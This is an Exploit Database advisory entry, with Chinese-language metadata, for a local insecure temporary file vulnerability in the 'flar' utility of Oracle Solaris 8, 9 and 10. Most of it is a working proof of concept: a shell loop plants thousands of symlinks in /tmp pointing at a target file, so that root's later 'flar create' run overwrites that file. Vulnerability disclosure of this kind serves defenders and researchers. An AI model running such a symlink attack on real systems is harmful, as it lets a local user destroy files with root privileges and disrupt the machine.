Oracle Solaris 8/9/10 – ‘flar’ Insecure Temporary File Creation

• Exploit Database
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• 作者： Frank Stuart
  日期： 2010-07-12
• 类别：

  • local
  平台：

  • solaris
• 来源：https://www.exploit-db.com/exploits/34311/

• source: https://www.securityfocus.com/bid/41619/info
  
  Oracle Solaris is prone to an insecure temporary file creation vulnerability.
  
  A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.
  
  Oracle Solaris 8, 9 and 10 are vulnerable. 
  
  
   $ x=0
   $ while [ "$x" -le 30000 ];do
   > ln -s /etc/important /tmp/.flash_filter_one_.$x
   > x=$(expr "$x" + 1)
   > done
  
  Later, when root creates a flash archive with:
  
   # flar create -n junk `pwd`/junk.flar
  

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